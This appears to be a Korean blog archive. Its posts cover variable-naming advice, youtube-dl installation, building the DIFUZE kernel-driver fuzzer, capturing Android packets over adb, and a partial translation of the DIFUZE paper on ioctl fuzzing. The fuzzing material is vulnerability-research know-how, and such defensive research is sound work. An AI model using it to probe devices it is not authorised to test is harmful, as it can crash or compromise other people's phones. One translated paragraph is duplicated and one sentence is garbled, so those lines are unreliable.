바인딩 시간이 이를수록(늦을수록) 유연성과 복잡성이 낮아진다(높아진다)

변수 사용시 주의할 점

각 변수는 한가지 목적만을 위해 사용
숨겨진 의미를 갖는 변수를 피하라
- pageCount 변수는 값이 출력된 페이지 수를 표현한다. -1인 경우 오류를 표시한다.
- bytesWritten 변수는 출력 파일에 쓰여진 바이트 수이다. 하지만 이 값이 음수면 출력 파일에 사용된 디스크 드라이브의 수를 가리킨다.
정의된 모든 변수가 사용되는지 확인

[ 안좋은 예시 ]

temp = sqrt(b*b-4*a*c);
root[0] = (-b+temp) / (2*a)
root[1] = (-b-temp) / (2*a)

…

temp = root[0];
root[0] = root[1];
root[1] = temp;

[ 좋은 예시 ]

discriminant= sqrt(b*b-4*a*c);
root[0] = (-b+discriminant) / (2*a)
root[1] = (-b-discriminant) / (2*a)

…

temp = root[0];
root[0] = root[1];
root[1] = temp;

변수의 명명

명명 규칙의 필요성

다수의 개발자에 의한 공동작업을 수행하는경우
다른 개발자가 작성한 코드를 검토하거나 유지 보수하는 경우
프로그램을 부분적으로 생각하고자할 때
시일이 지난후 자신이 작성한 코드를 다시 검토할 때
특이한 용어들이 많아서 코드 작성시 표준 용어 또는 약어가 필요한 경우

좋은 변수이름을 위한 고려 사항

변수의 의미를 완벽하고 정확하게 설명해야 한다

변수 의미	좋은 이름	나쁜 이름
날짜가 쓰인 유통중인 수표의 총계	runningTotal, checkTotal	written, ct, checks, CHKTTL, x, x1, x2
고속 열차의 속도	velocity, trainVelocity, velocityInMph	velt, v, tv, x, x1, x2, train
현재 날짜	currentDate, todaysDate	cd, current, x1, x2, date
페이지당 행의 수	linesPerPage	lpp, lines, x1, x2, l

해결하고자 하는 문제 영역의 개념을 표현
- 예) 직원 데이터는 inputRec 보다는 employeeData를 사용, 프린터의 상태 표시하는 프래그는 bigFlag 보다는 printerReady를 사용
적절한 길이를 사용
- Too shart : 의미 불명확
- Too Long : 입력 불편, 코드 구조 파악 불편
짧은 변수는 Loop 카운터 또는 배열인덱스를 위해 사용
- 예) i, j, k 등

너무 길다	numberOfPeopleOnTheUsOlympicTeam numberOfSeatsInTheStation maximumNumberOfPointsInModernOlympics
너무 짧다	n, np, ntm N, ns, nsisd M, mp, max, points
적당	numTeamMembers, teamMemberCount numSeatsInStadium, seatCount teamPointsMax, pointsRecord

이름 공간(Namespace)(C++)를 사용하여 변수 이름 충돌을 회피 (Java는 Package 사용)
- 한정자는 주로 변수의 끝에 위치시킨다
- 앞부분의 중요한 의미를 전달하도록
- 일관성을 유지하여 혼돈을 방지
  - totalRevenue ↔ revenueTotal
- 대칭적 이름을 작성하기에 유리
  - revenueTotal/expenseTotal, revenueAverage/expenseAverage 는 totalRevenue/totalExpense, averageRevenue/averageExpense 보다유리
- 일반적인 반의어의 조합을 사용
  - begin/end, first/last, locked/unlocked, min/max, next/previous, old/new, opened/closed, visible/invisible, source/destination, up/downsource/target, source/destination, up/down

변수명의 축약 - 일반적 지침

표준 축약어를 사용 (사전에나오는)
불필요한 모음을 제거
- 예) computer → cmptr, screen → scrn
관사 및 접속사(a, the, and, or 등)는 제거
각 단어의 첫 문자 또는 처음 몇개의 문자를 사용
각 단어의 첫 번째와 두 번째, 세 번째 다음에 오는 것을 일관성 있게 자른다
각 단어의 처음과 마지막 문자를 유지
이름에서 가장 중요한 단어를 최대 세 단어까지 사용
쓸모없는 접미사(ing, ed 등)를 제거
각 음절에서 가장 뚜렸한 소리를 유
변수의 의미가 변경되지 않도록 주의
위의 기법을 반복적으로 적용
음성축약 ← 비추천
- highlight → hilite, before → b4, excute → xqt

축약시 주의할 점

단어에서 한 문자를 없애는 방법으로 축약하지 말라 → 노력의 감소에 비해가독성이 떨어짐
- 예) June → Jun
일관성 있게 축약
발음할 수 있는 이름으로 생성
- 예) XPstn → xPos, ndsCmptg → needsComp
잘못된 발음으로 인한 조합을 피한다
- 예) 마지막 B를 나타내기 위해 BEND 보다는 ENDB, B-END, BEnd, b_end를사용
축약시 이름의 충돌을 방지하기 위해 동의어 사용
- 예) fired와 full revenue disbursal이 frd로 축약될 수 있음, 이경우 fired → dismissed → dsm, full revenue disbursal → complete revenue disbursal → crd
매우 짧은 이름은 코드 내에 변환 테이블을 사용하여 문서화
모든 축약어는 프로젝트 수준의 표준축약어 문서에 기록

youtube-dl 유튜브 다운로드 도구

NetKingJ — Mon, 1 Jun 2020 16:31:12 +0900

설치 방법 1 (curl)

$ sudo curl -L https://yt-dl.org/downloads/latest/youtube-dl -o /usr/local/bin/youtube-dl

$ sudo chmod a+rx /usr/local/bin/youtube-dl

설치 방법 2 (wget)

$ sudo wget https://yt-dl.org/downloads/latest/youtube-dl -O /usr/local/bin/youtube-dl

$ sudo chmod a+rx /usr/local/bin/youtube-dl

사용

$ youtube-dl [OPTIONS] URL [URL...]

예) youtube-dl https://www.youtube.com/watch?v=jNQXAC9IVRw

- 고화질 선택 (예시)

$ youtube-dl -F URL

$ youtube-dl -citw -f 137+140 URL

* 여기서 소리와 영상이 따로 저장되므로 영상 편집 프로그램에서 합쳐줘야 한다.

youtube-dl -F 옵션

References

https://github.com/ytdl-org/youtube-dl

DIFUZE Build

NetKingJ — Fri, 29 May 2020 23:03:35 +0900

* 빨간색 글자는 반드시 따라 안 하셔도 되며, 자신의 홈 디렉터리 위치에 맞도록 하시길 바랍니다.

환경

Ubuntu 14.04 LTS (다른 버전에서 원활하게 빌드가 되지 않을 수 있습니다)

설치

$ git clone https://github.com/ucsb-seclab/difuze.git

$ sudo apt-get update

$ sudo apt-get install libxml2-dev; sudo apt-get install clang; sudo apt-get install sparse; sudo apt-get install bear; sudo apt-get install cmake; sudo apt-get install llvm;

$ pip2 install lxml

$ cd difuze

$ cd helper_scripts

$ python setup_difuze.py -o difuze_deps

$ vim ~/.bashrc

export LLVM_ROOT=/home/netkingj/difuze/helper_scripts/difuze_deps/llvm/build
export PATH=$LLVM_ROOT/bin:difuze_deps/sparse:$PATH

$ source ~/.bashrc

$ cd ../InterfaceHandlers

$ ./build.sh

예제

파일 : 33.2.A.3.123.tar.bz2

$ mv 33.2.A.3.123 mediatek_kernel

$ cd ~/mediatek_kernel

$ source ./env.sh

$ cd kernel-3.18

$ mkdir out

$ make O=out ARCH=arm64 tubads_defconfig

$ bear make O=out ARCH=arm64

$ cd ~/difuze/helper_scripts

$ python run_all.py -l ~/mediatek_kernel/llvm_bitcode_out -a 1 -c ~/mediatek_kernel/kernel-3.18/compile_commands.json -n 2 -o ~/mediatek_kernel/kernel-3.18/out -k ~/mediatek_kernel/kernel-3.18 -f ~/mediatek_kernel/ioctl_finder_out

Android Network Capture with ADB

NetKingJ — Mon, 25 May 2020 03:45:35 +0900

환경

Device : Android (Root)

OS : Kali-linux, Ubuntu Etc

방법 1 : 실시간 패킷 분석 (Real-time packet analysis)

$ adb exec-out "su -c tcpdump -i any -U -w - 2>/dev/null" | wireshark -k -S -i -

* 실시간 패킷 분석 시 프레임 에러가 발생할 땐 [방법 2]로 사용해보세요.

* If a frame error occurs during real-time packet analysis, use [방법 2].

Frame Error

방법 2 : 저장된 패킷 분석 (Analysis of stored packets)

$ adb exec-out "su -c tcpdump -i any -U -w {스마트폰 내에 저장할 위치}"

ex) adb exec-out "su -c tcpdump -i any -U -w /sdcard/capture.pcap"

$ adb pull {스마트폰 내에 저장된 위치}

ex) adb pull /sdcard/capture.pcap

[번역] DIFUZE: Interface Aware Fuzzing for Kernel Drivers

NetKingJ — Tue, 19 May 2020 23:03:31 +0900

요약
1. 소개
2. 배경과 관련 작업
- 2.1 POSIX 장치 드라이버
- 2.2 안드로이드 운영체제
- 2.3 Fuzz Testing
- 2.4 기타 분석
3. 개요
- 3.1 Example
4. 인터페이스 복구
- 4.1 시스템 계측 빌드
- 4.2 ioctl 핸들러 식별
- 4.3 장치 파일 탐지
- 4.4 명령 값 결정
- 4.5 인자 타입 식별
- 4.6 구조체 정의 찾기
5. 구조체 생성
6. ON-DEVICE 실행
- 6.1 포인터 고정
- 6.2 실행
7. 구현
- 7.1 인터페이스 인식 퍼징
8. 평가
- 8.1 인터페이스 추출 평가
- 8.2 평가 기준
- 8.3 결과
- 8.4 연구 사례 1 : Honor 8 설계 이슈
- 8.5 연구 사례 2 : qseecom 버그
- 8.6 커버리지 기반 퍼징 보강
9. 토론
- 9.1 약점
- 9.2 향후 연구
10. 결론
부록 A. IOCTL 등록 구조
부록 B. V4L2 드라이버
References

요약

장치 드라이버는 현대 유닉스 계열 시스템에서 하드 디스크 및 프린터에서 디지털카메라 및 블루투스 스피커에 이르기까지 물리적 장치에서 작업을 처리하는 데 필수적인 부분이다. 특히 모바일 기기에서 새로운 하드웨어의 급증으로 시스템 커널에서 장치 드라이버가 폭발적으로 증가한다. 이러한 많은 드라이버는 타사 개발자가 제공하며 보안 취약점에 취약하고 적절한 검증이 이루어지지 않는다. 불행하게도, 장치 드라이버에 대한 복잡한 입력 데이터 구조체는 퍼지 테스트와 같은 기존 분석 도구의 효율성을 떨어 뜨리며, 지금까지 커널 드라이버 보안에 대한 연구는 비교적 희박하다.

본 논문에서는 유효한 입력을 자동으로 생성하고 커널 드라이버의 실행을 트리거하는 인터페이스 인식 퍼징 도구인 DIFUZE를 제시한다. 정적 분석을 활용하여 사용자 공간에서 올바르게 구조화된 입력을 작성하여 커널 드라이버를 탐색한다. DIFUZE는 드라이버 핸들러 식별부터 장치 파일 이름에 매핑, 복잡한 인수 인스턴스 구성 등 완전히 자동화된 기능이며, 7개의 최신 안드로이드 스마트폰에 대한 접근 방식을 평가한다. 그 결과 DIFUZE는 커널 드라이버 버그를 효과적으로 식별할 수 있으며, 임의 코드를 실행할 수 있는 결함을 포함하여 이전에 알려지지 않은 32가지 취약점을 보고한다.

1. 소개

스마트폰과 다른 모바일 기기는 현재 생활의 중심 부분을 차지하고 있다. 그것들은 우리 중 많은 사람들이 밤에 대화하는 마지막 교류 수단이며 아침에 가장 먼저 도달하는 것이다. 우리는 금융 거래를 수행하고 가족, 친구, 동료들과 의사소통하고 위치, 오디오, 비디오를 녹음하는 데 사용한다. 점점 더 개인적이고 상업적인 목적으로만 사용되는 것이 아니라 정부 활동을 용이하게 하는 데에도 이용된다.

이러한 장치의 보안의 중요성은 명백하다. 만약 적이 연결된 세계로 가는 관문이 된 장치를 손상시키면 엄청난 힘을 얻게 될 것이다. 따라서 스마트폰의 보안을 보장하기 위해 많은 노력을 기울였다. 이 보안은 사용자 공간 응용 프로그램(예: 주소 공간 레이아웃 랜덤화, 데이터 실행 보호, SELinux 등)을 대상으로 많은 공격 완화 기법을 활용하고 보안을 1단계 개발 목표로 함으로써 정교한 응용 프로그램 샌드박스를 사용하여 달성한다. 그러나 모바일 장치의 커널 보안에는 약점이 있다.

여러 가지 취약점 완화 기술을 사용할 수 있는 사용자 공간 애플리케이션과 달리, 현대 운영 체제의 커널은 사용 가능한 보호 기능에도 불구하고 공격에 상대적으로 취약하다. 그 결과, 사용자 공간 애플리케이션의 취약점이 희박해짐에 따라 공격자는 커널에 초점을 맞춘다. 예를 들어, 최근 3년간 커널 코드에 있는 안드로이드 취약점 점유율은 4%(2014년)에서 39%(2016년)로 증가해 커널 버그를 탐지하고 제거하는 기법의 필요성을 부각했다.

커널 자체는 코어 커널 코드와 장치 드라이버의 두 가지 코드 유형으로 나눌 수 있다. 전자는 시스템 호출(syscall) 인터페이스를 통해 액세스 하여 사용자가 파일(open() 시스템 호출)을 열거나 프로그램 실행(execve() 시스템 호출)하는 등의 작업을 수행할 수 있다. 후자는 POSIX 호환 시스템(휴대폰 시장의 98% 이상을 차지하는 예: Linux/Android/FreeBSD/IOS)은 일반적으로 ioctl 인터페이스를 통해 액세스 된다. 특정 시스템 호출로 구현된 인터페이스는 입력 전송을 장치 드라이버에 의해 처리되도록 한다. 구글에 따르면 안드로이드 커널(Linux와 유사한 것)에 대해 보고된 버그 중 85%가 타사 기기 공급업체가 작성한 드라이버 코드에 있다. 모바일 장치의 수가 지속적으로 증가하고 보안이 중요해짐에 따라 공격자가 악용하기 전에 장치 드라이버의 취약점을 식별하는 자동화된 접근 방식이 매우 중요하다.

시스템 호출 인터페이스의 자동 분석은 관련 작업에 의해 철저히 검토되었지만 ioctls는 소홀히 취급되어 왔다. 이는 syscall과의 상호작용은 잘 정의된 통일된 사양을 따르는 반면 ioctls와의 상호작용은 해당 장치 드라이버에 따라 다르기 때문이다. 특히, ioctl 인터페이스는 각 유효한 명령 집합에 대한 구조화된 인수로 구성되며, 명령어와 데이터 구조체는 모두 드라이버에 의존한다. 이는 보안에 영향을 미치지만(즉, 이러한 구조체의 포인터, 동적 크기 필드, 공용체, 하위 구조체는 구조체의 구문 분석으로 인한 취약점의 가능성을 증가시킨다) 이러한 장치들을 분석하기 어렵게 만든다. 이러한 장치의 자동 분석은 반드시 인터페이스를 인식해야 하며, 효과적이기 위해서는 명령 식별자와 장치가 예상하는 데이터 구조를 사용하여 ioctls와 상호작용을 해야 한다.

본 논문에서는 인터페이스 인식 퍼징을 가능하게 하고 장치 드라이버가 제공하는 ioctl 인터페이스의 동적 탐색을 용이하게 하는 새로운 기술 조합인 DIFUZE를 제시한다. DIFUZE는 유효한 명령 및 관련 데이터 구조체를 포함하여 특정 ioctl 인터페이스를 복구하기 위해 커널 드라이버 코드의 자동 정적 분석을 수행한다. 복구된 인터페이스를 사용하여 ioctl 호출에 대한 입력을 생성하며, 사용자 공간 프로그램에서 커널로 전송될 수 있다. 이러한 입력은 드라이버가 사용하는 명령과 구조가 일치하여 ioctl을 효율적이고 심층적으로 탐색을 가능하게 한다. 복구된 인터페이스를 통해 퍼저는 데이터를 변경할 때 의미 있는 선택을 할 수 있다. 즉, 포인터, 열거 형, 정수와 같은 입력된 필드는 단순한 바이트의 시퀀스로 처리하면 안 된다. DIFUZE는 해당 드라이버의 가정을 강조하고 심각한 보안 취약점을 노출한다. 실험에서 7개의 최신 모바일 기기를 분석하여 36개의 취약점을 발견했는데, 그중 32개는 이전에 알려지지 않았으며(DIFUZE에 의해 발견된 4개의 취약점은 실험 과정에서 패치가 되었다), 문제의 장치를 크래시시키는 결함에서부터 공격자가 서비스 거부(DoS)를 완전히 제어할 수 있는 버그에 이르기까지 다양하다. 그 결과, 사용자 공간 애플리케이션의 취약점이 희박해짐에 따라 공격자는 커널에 초점을 맞춘다. 예를 들어, 최근 3년간 커널 코드에 있는 안드로이드 취약점 점유율은 4%(2014년)에서 39%(2016년)로 증가해 커널 버그를 탐지하고 제거하는 기법의 필요성을 부각했다.

요약하면, 논문은 다음과 같은 기여를 한다.

Interface-aware fuzzing
POSIX 시스템의 ioctl 커널 드라이버 인터페이스와 같은 인터페이스에 민감한 대상의 퍼징 하기 위한 새로운 접근 방식을 설계한다.

Automated driver analysis
장치의 커널 소스를 자동으로 분석할 수 있는 퍼징 프레임워크를 개발했다. 모든 드라이버에 대한 도구는 모든 ioctl 진입점과 해당 구조체 및 장치 파일 이름을 식별한다. 36가지 취약점을 식별하는 7가지 장치를 분석하기 위해서 기술을 적용한다. DoS에서 코드 실행 결함에 이르는 취약점은 접근 방식의 효과와 영향을 보여준다. 이러한 취약점을 해당 드라이버 공급 업체에 책임 있게 공개하고 있다.

DIFUZE prototype
DIFUZE를 오픈 소스 도구로 www.github.com/ucsb-seclab/difuze 에서 공개하여 향후 보안 연구원에게 유용할 것으로 기대된다.

2. 배경과 관련 작업

이 섹션에서는 반드시 극복해야 할 고유한 과제(이러한 과제로 인해 기존 시스템이 ioctl 퍼징에 적용되지 않은 이유)를 설명하고, 퍼징 도구가 작동하는 플랫폼(Android)을 소개하고, 프로그램 취약점을 찾아내는 이전의 작업을 비교한다.

2.1 POSIX 장치 드라이버

POSIX 표준은 사용자 공간 애플리케이션과 장치 드라이버의 상호작용을 위한 인터페이스를 명시한다. 이 인터페이스는 커널 상주 장치 드라이버의 사용자 공간 존재를 나타내는 특수 파일인 장치 파일을 통해 장치와 상호작용을 지원한다. 사용자 공간 애플리케이션이 open() 시스템 호출로 장치 파일에 대한 핸들을 획득한 후, 애플리케이션이 이러한 파일과 상호 작용을 할 수 있는 여러 가지 방법이 있다.

장치마다 기능을 수행하려면 다른 시스템 호출이 필요하다. 예를 들어, read(), write(), seek()는 하드 드라이브 장치 파일에 적용할 수 있다(하드 드라이브의 내용을 단일 파일로 표시). 오디오 장치의 경우 read()는 마이크에서 원시 오디오 데이터를 읽을 수 있으며 write()는 스피커에 원시 오디오 데이터를 쓸 수 있으며 seek()는 사용되지 않을 수 있다.

그러나 일부 기능은 기존 시스템 호출을 통해 구현될 수 없다. 예를 들어, 오디오 장치의 경우 사용자 공간 애플리케이션은 오디오를 녹음하거나 재생할 샘플링 속도를 어떻게 구성해야 할지? 이러한 대역 외 동작은 ioctl() 인터페이스 1을 통해 POSIX 표준에서 지원된다. 이 시스템 호출을 통해 드라이버는 기존 파일로 모델링하기 어려운 기능을 노출시킬 수 있다.

일반성을 지원하기 위해 ioctl() 인터페이스는 임의의 드라이버 지정 구조체를 입력으로 수신할 수 있다. C 프로토타입은 int ioctl(int file_descriptor, int request, ...)처럼 보이는데 여기서 첫 번째 인수는 열린 파일 설명자, 두 번째 인수는 일반적으로 명령 식별자로 알려진 정수이며 나머지 인수의 종류와 양은 드라이버와 명령 식별자에 따라 달라진다.

과제

앞에서 언급한 특성은 ioctl 시스템 호출을 특히 취약점에 취약하게 만든다. 첫째, read()와 write()와는 달리 ioctl() 호출에 제공된 데이터는 종종 극도로 복잡하고 비표준 데이터 구조체의 인스턴스들이다. 이러한 구조체를 파싱 하는 것은 쉬운 일이 아니며, 실수로 커널 컨텍스트에 치명적인 취약점이 생길 수 있다. 둘째, 데이터 구조체의 일반성으로 인해 분석가가 문제의 드라이버가 다른 명령 식별자를 처리하는 방법과 선택적 인수에 대해 예상되는 데이터 유형에 대한 지식이 있어야 하기 때문에 ioctl() 인터페이스의 분석도 어렵다.

이것들은 우리가 해결하고자 하는 핵심 문제들이다. DIFUZE가 명령 식별자와 구조체 정보를 자동으로 복구하고, 필요한 복잡한 데이터 구조체를 구축하며, 최소한의 사용자 개입으로 ioctl() 인터페이스가 있는 퍼지 장치를 통해 보안 취약점을 찾아낼 수 있도록 설계했다.

2.2 안드로이드 운영체제

안드로이드는 스마트폰의 운영체제로 설계되었다. 안드로이드가 2016년 3분기에 86.8%의 점유율로 스마트폰 OS 시장을 장악했다는 최근 보고서가 나왔다. 안드로이드 디자이너들은 기기들을 보호하기 위해 신중한 조치를 취하지만, 스마트폰 시스템에는 몇 가지 취약점이 있다. 안드로이드의 인기와 증가하는 보안 문제를 고려하여 분석 방식을 평가하기 위해 안드로이드 시스템을 주요 타깃 플랫폼으로 선택한다. DIFUZE는 다른 유닉스 계열 시스템에서도 작동한다.

안드로이드는 단일 아키텍처를 가진 리눅스 커널을 기반으로 한다. 커널 모듈(장치 드라이버 등)은 일정 수준의 모듈성을 제공하지만, 전체 커널이 하나의 메모리 공간에서 실행되고, 모든 부분이 동일한 권한이 부여된다는 점에서 설계 원리는 여전히 획일적이다. 따라서 장치 드라이버의 취약점은 전체 커널을 손상시킬 수 있다. 실제로 2016년 안드로이드 커널에 보고된 버그 중 80% 이상이 공급 업체가 작성한 드라이버 코드에서 나왔다. 안드로이드 오픈 소스 프로젝트는 공급 업체(예: Sony, HTC)는 디지털카메라, 가속도계, GPS 장치와 같은 새로운 하드웨어를 지원하기 위해 안드로이드 커널 드라이버를 사용자 정의할 수 있다. 보안은 종종 그러한 회사들의 시장 출시 시간을 단축시키기 때문에, 보안 프로세스의 도입 과정에서 보안 취약점이 발생하기 쉽다. 다행히도, 안드로이드 시스템의 개방성은 GNU(General Public License)에 따라 소스 코드를 공개적으로 이용할 수 있게 한다. 이는 드라이버에 대한 높은 수준의 의미론적으로 풍부한 정보에 대한 접근을 제공하기 때문에 우리의 접근 방식을 용이하게 한다.

2.3 Fuzz Testing

퍼징은 프로그램에 입력으로 무작위 데이터를 생성하여 프로그램 테스트를 하는 것으로 알려져 있다. SPIKE, Valgrind, PROTOS와 같은 많은 여구 관심을 끌었다.

Fuzzing

퍼징의 주요 전망은 "가장 유효한" 입력을 생성하여 대상 프로그램을 실행하고, 광범위한 기능을 수행하며, 취약점으로 이어지는 일부 코너케이스(corner case)를 트리거하는 것이다. 동적 특성 추적은 잠재적 입력을 생성하기 위해 널리 사용되는 전략이다. Dowser와 BuzFuzz는 특정 유형의 취약점을 유발할 가능성이 높은 입력을 생성하기 위해 오염 추적(taint tracking)을 사용한다. 그러나 매우 제한된 입력을 요구하는 ioctl 함수의 경우, 이러한 기법은 덜 효과적이다. 오염 분석에 기반한 접근법은 기본 프로그램에서 사용하는 입력 형식을 복구하기 위해 존재하지만, 특정 명령 식별자가 주어지면 ioctl 핸들러는 특정 유형의 추가 인수를 기대할 수 있다.

진화 기술은 퍼징 시스템에서 또 다른 일반적인 입력 생성 전략을 나타낸다. VUzzer와 SymFuzz는 정적 분석을 돌연변이 기반(mutation-based) 진화 기술과 결합하여 입력을 효율적으로 생성한다. 그러나 이러한 기술은 매우 제한된 입력을 생성하는 데 비효과적이다. DIFUZE는 가능한 ioctl 명령 값을 먼저 수집한 후 예상 입력 형식으로 퍼징하여 이 문제를 해결한다.

프로그램의 입력 형식을 알고 있으면, 유효한 입력 사양으로 퍼징을 향상시킬 수 있다. 피치(Peach)는 업계 표준 도구 중 하나이다. 그러나 실시간 데이터(즉, 다른 데이터에 대한 활성 포인터가 포함된 데이터)를 생성할 수 없으며, 8절에서 볼 수 있듯이 많은 장치 드라이버에는 포인터를 포함하는 입력 구조가 필요하다. 문법 기반 기술은 파일 형식, 인터프리터, 컴파일러를 퍼징하는 데 사용되었지만, 이러한 기술에는 입력이 고정된 형식을 갖도록 요구한다.

Kernel and driver fuzzing

운영 체제 인터페이스 또는 시스템 호출을 퍼징하는 것은 운영 체제 커널을 테스트하기 위한 실질적인 접근 방식이다. 대부분의 드라이버는 사용자 공간과 상호작용하기 위해 POSIX 표준인 ioctl 기능을 사용한다. 3.1절에서 논의한 바와 같이 ioctl는 복잡하며, 사용자가 생성한 특정 명령 값과 데이터 형식을 요구한다. 유효한 명령 값과 관련 데이터 구조체를 식별하는 것은 ioctl 퍼징의 두 가지 주요 문제이다. iofuzz, ioattack, ioctlbf, ioctlfuzzer와 같은 윈도우 커널용 ioctl 인터페이스를 테스트하기 위한 도구가 개발되었다. 그러나 이러한 도구는 윈도우 커널에서 제공하는 정보의 광범위한 로깅 및 추적뿐만 아니라 윈도우 고유의 ioctl 명령 형식에 의존한다. 또한, 이러한 도구들 중 많은 것들이 본질적으로 단순하다. 단순히 프로세스에 연결하고 윈도우 ioctl 호출을 연결하는 것을 포함한다. 일단 연결되면, 도구는 호출이 이루어질 때 값을 변경한다. 이것은 몇 가지 측면에서 부족하다. 예를 들어, 프로세스가 드라이버의 전체 기능을 발휘하지 못할 수 있으며 들어오는 데이터의 유형 정보를 알 수 없기 때문이다. 이 문제를 해결하기 위해 DIFUZE는 장치 드라이버의 소스 코드를 분석하여 유효한 명령과 해당 데이터 구조체를 식별한다. 우리가 사용하는 분석 기술은 실제 장치를 수정할 필요가 없다.

유효한 ioctl 명령어의 추출은 Stanislas 외에 시도되었지만, 최첨단 시스템은 실제 커널 모듈로 확장할 수 없었다. 반대로, 8절에서 보여지듯이, DIFUZE는 실제 장치의 대형 커널 모듈로 확장하고 취약점을 찾아낸다.

Trinity와 syzkaller는 리눅스 syscall 퍼징을 위해 특별히 개발되었다. 8절에서 알 수 있듯이 장치 드라이버의 ioctl 핸들러를 퍼징할 때 성능이 저하된다. syzkaller는 더 많은 버그를 탐지하기 위해 커널 Kernel Address Sanitizer(KASAN)와 같은 추가 계측 기법을 사용하지만, 이러한 기법은 분석가가 사용자 정의 펌웨어를 사용하여 장치를 재플래시해야하기 때문에 공급 업체 기기에서 직접 사용할 수 없다. 몇 가지 접근 방식은 특히 선택된 syscall 및 드라이버에 대한 퍼징에 중점을 두었다. 그러나 특정한 기능에만 초점을 맞추고 있으며 다른 시스템이나 드라이버로 일반화될 수 없다. DIFUZE는 수정되지 않은 커널을 실행하는 장치에서 모든 리눅스 커널 드라이버를 퍼징하도록 일반화할 수 있는 최초의 완전 자동화 시스템입니다.

2.4 기타 분석

퍼징 외에도 심볼릭 실행(symbolic execution)과 정적 분석(static analysis)이라는 두 가지 분석 기법이 있는데, 작업과 관련이 있다. 이러한 메커니즘을 소개하고 메커니즘이 설계에 미치는 영향을 설명할 것이다.

Symbolic execution

심볼릭 실행은 심볼릭 변수를 사용하여 제한된 입력을 생성하고 복잡한 검사를 만족시키는 기술이다.

DART, SAGE, Fuzzgrind, Driller는 심볼릭 실행을 무작위 테스트와 결합하여 코드 적용 범위를 증사시킨다. BORG는 버퍼 오버리드(Buffer over-reads)를 유발할 가능성이 높은 입력을 생성하기 위해 심볼릭 실행을 사용한다. 원시 장치에서 심볼릭 실행을 수행하는 엔지니어링 문제와 복잡한 시스템 커널에 의해 더욱 악화되는 근본적인 경로 폭발 문제(복잡한 시스템 커널에 의해 더욱 악화됨)는 이러한 기법을 커널 드라이버에 비실용적으로 만든다.

Static analysis

정적 분석은 해당 프로그램을 실행하지 않고 프로그램 취약점을 찾아내는 널리 사용되는 기술이다. 정밀도를 극대화하기 위해, 이러한 기법들도 분석을 수행하기 위해 일반적으로 소스 코드가 필요된다. 많은 시스템 커널(리눅스 커널 포함)과 장치 드라이버가 오픈 소스이기 때문에 커널 보안은 정적 분석에서 큰 이익을 얻을 수 있다. 예를 들어, Ashcraft 등은 리눅스와 OpenBSD 커널의 신뢰할 수 없는 소스에서 읽은 정수를 잡기 위해 컴파일러 확장을 개발했다. Post 등 리눅스 커널에서 교착 상태 및 메모리 누수를 찾기 위해 경계 모델 검사기를 사용했다. Ball 등 윈도우 드라이버의 정확성을 증명하기 위해 일련의 규칙으로 정적 분석 도구를 만들었다.

대부분의 정적 분석 도구의 한 가지 제한 사항은 많은 오탐지 생성입니다. 우리의 작업은 취약점 탐지 단계에서 퍼징을 활용하기 때문에, 확인된 모든 취약점은 실제 버그이며, 오탐지를 완전히 피할 수 있다. 정적 분석 기술의 또 다른 단점은 분석 시 보안 정책 및 규칙의 수동 사양이 필요하다는 것이다.

3. 개요

이번 절에서는 인터페이스 인식 퍼징 접근 방식과 ioctl 퍼징을 통한 장치 드라이버의 취약점 탐지에 대한 애플리케이션에 대한 개요이다.

[그림 1] DIFUZE 접근 다이어그램

DIFUZE는 유효한 ioctl 명령 및 인수 구조체 유형과 같은 드라이버 인터페이스 정보를 추출하기 위해 분석 구성을 사용하여 제공된 커널 소스를 분석합니다. 이러한 구조체의 예를 종합하여 대상 장치로 보내는데, 주어진 입력으로 ioctl 실행을 트리거하고 결국 장치 드라이버에서 크래시가 발견된다.

[그림 1]은 시스템의 높은 수준의 워크플로우를 보여준다. DIFUZE는 대상 호스트의 커널 소스 코드(장치 드라이버의 소스 코드를 포함)를 입력으로 요구한다. 리눅스는 GNU(General Public License)에 따라 라이선스가 부여되므로 커널 드라이브 인터페이스 코드와 같이 링크된 모든 소프트웨어도 릴리스해야 한다. 따라서 안드로이드 기기의 커널 소스는 쉽게 구할 수 있고 분석 또한 가능하다.

이 입력이 주어지면, DIFUZE는 여러 단계를 거쳐 장치 드라이버의 상호작용 인터페이스를 복구하고, 인터페이스를 실행하기 위한 정확한 구조체를 생성하고, 대상 호스트의 커널에 의해 이러한 구조체의 처리를 트리거한다. 커널 버그의 트리거는 시스템을 불안정하게 만드는 경우가 많아(중간 또는 재부팅으로 이어짐) DIFUZE의 최종 단계만 대상 호스트에서 수행해야 한다. 다른 단계는 외부 분석 호스트에서 실행되며, 그 결과는 로컬로 기록되고(버그가 트리커 된 경우 입력 재생을 위해) 네트워크 연결 또는 디버그 인터페이스를 통해 대상 호스트로 전송된다.

자세한 내용은 다음과 같다.

Interface recovery

첫 번째 단계에서 DIFUZE는 제공된 소스를 분석하여 대상 호스트에서 어떤 드라이버가 활성화되어 있는지, 어떤 장치 파일을 사용하여 상호작용할 수 있는지, 어떤 ioctl 명령을 받을 수 있는지, 이러한 구조체로 이들 명령에 전달 될 구조체를 탐지한다. 이 일련의 분석은 LLVM을 사용하여 구현되며 4절에 자세히 설명되어 있다. 이 단계의 최종 결과는 대상 드라이버, 대상 ioctl 명령어 및 구조체 유형 정의에 대한 장치 파일 이름의 튜플(Tuples) 집합이다.

Structure generation

각 구조체에 대해 DIFUZE는 구조체 인스턴스(Instance)를 지속적으로 생성하는데, 이는 이전 단계에서 복구된 유형 정보의 인스턴스화를 나타내는 매모리 내용이다. 이러한 인스턴스는 관련 대상 장치 파일 이름 및 대상 ioctl 명령 식별자와 함께 대상 호스트에 기록 및 전송된다. 이 단계는 5절에서 자세히 설명되어 있다.

On-device execution

실제 ioctl 트리거링 컴포넌트는 대상 호스트 자체에 있다. 대상 장치 파일 이름, 대상 ioctl 명령 및 생성된 구조체 인스턴스를 수신하면 실행자는 ioctl 실행을 트리거합니다. 이 단계는 6절에서 논의한다.

DIFUZE는 대상에 전송되는 입력 순서를 기록한다. 따라서, 버그가 트리거되고 대상 장치가 크래시날 때, 입력을 재현성과 수동 심사/분석에 사용될 수 있다.

3.1 Example

DIFUZE를 이해할 수 있도록 간단한 드라이버의 예시이다. 이 예는 [목록 1] 구조체 정의, [목록 2] 분석에 약간의 복잡성을 나타내는 copy_from_user 래퍼(wrapper) 함수, [목록 3] ioctl 핸들러, [목록 4] 주 드라이브 초기화 코드로 제시한다.

typedef struct {
	long sub_id;
	char sub_name[32];
} DriverSubstructTwo;

typedef union {
	long meta_id;
	DriverSubstructTwo n_data;
} DriverStructTwo;

typedef struct {
	int idx;
	uint8_t subtype;
	DriverStructTwo *subdata;
} DriverStructOne;

